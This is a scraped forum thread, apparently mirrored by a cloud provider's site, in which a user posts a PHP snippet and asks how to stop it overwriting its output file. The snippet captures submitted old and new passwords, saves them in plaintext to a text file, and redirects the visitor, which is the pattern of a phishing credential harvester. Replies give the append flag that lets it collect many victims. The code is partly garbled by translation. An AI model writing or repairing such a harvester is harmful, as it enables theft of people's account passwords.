Ask a new question

Source: Internet
Author: User
This post was last edited by abu_sec on 2013-09-26 09:01:14

if (Isset ($_post[' oldpasswd ')) && isset ($_post[' Passwd ']) {      $OldPasswd = strip_tags ($_post[' oldpasswd ') );      $password = Strip_tags ($_post[' Passwd ');      $content = ' oldpasswd: '. $OLDPASSWD. '
Password: '. $password. '
Powerd by thank you '; File_put_contents ("OUT.txt", $content);//what function allows the contents of the subsequent variable not to overwrite the previous content??? header (' Location:redirect.php '); }? >


Reply to discussion (solution)

File_put_contents ("OUT.txt", $content, file_append);//what function allows the contents of the subsequent variable not to overwrite the previous content???

File_put_contents ("OUT.txt", $content, File_append);

PHP's Library of functions is an advantage.

C + + words only the framework to this extent. Java is not very clear, should also be good.

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.